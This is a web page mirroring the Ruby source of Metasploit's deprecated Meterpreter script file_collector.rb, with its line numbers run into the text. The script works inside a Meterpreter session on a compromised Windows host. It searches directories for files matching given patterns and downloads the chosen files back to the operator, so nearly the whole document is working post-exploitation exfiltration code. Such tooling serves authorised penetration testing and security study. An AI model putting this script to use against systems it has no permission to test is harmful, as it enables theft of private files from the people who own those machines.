Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/file_collector.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Author: Carlos Perez at carlos_perez[at]darkoperator.com8#-------------------------------------------------------------------------------9@client = client10location = nil11search_blob = []12input_file = nil13output_file = nil14recurse = false15logs = nil16@opts = Rex::Parser::Arguments.new(17"-h" => [false, "Help menu." ],18"-i" => [true, "Input file with list of files to download, one per line."],19"-d" => [true, "Directory to start search on, search will be recursive."],20"-f" => [true, "Search blobs separated by a |."],21"-o" => [true, "Output File to save the full path of files found."],22"-r" => [false, "Search subdirectories."],23"-l" => [true, "Location where to save the files."]24)25# Function for displaying help message26def usage27print_line "Meterpreter Script for searching and downloading files that"28print_line "match a specific pattern. First save files to a file, edit and"29print_line("use that same file to download the chosen files.")30print_line(@opts.usage)31raise Rex::Script::Completed32end3334# Check that we are running under the right type of Meterpreter35if client.platform == 'windows'36# Parse the options37if args.length > 038@opts.parse(args) { |opt, idx, val|39case opt40when "-h"41usage42when "-i"43input_file = val44when "-o"45output_file = val46when "-d"47location = val48when "-f"49search_blob = val.split("|")50when "-r"51recurse = true52when "-l"53logs = val54end55}56# Search for files and save their location if specified57if search_blob.length > 0 and location58search_blob.each do |s|59print_status("Searching for #{s}")60results = @client.fs.file.search(location,s,recurse)61results.each do |file|62print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")63file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file64end65end66end67# Read log file and download those files found68if input_file and logs69if ::File.exist?(input_file)70print_status("Reading file #{input_file}")71print_status("Downloading to #{logs}")72::File.open(input_file, "r").each_line do |line|73print_status("\tDownloading #{line.chomp}")74@client.fs.file.download(logs, line.chomp)75end76else77print_error("File #{input_file} does not exist!")78end79end80else81usage82end83else84print_error("This version of Meterpreter is not supported with this Script!")85raise Rex::Script::Completed86end878889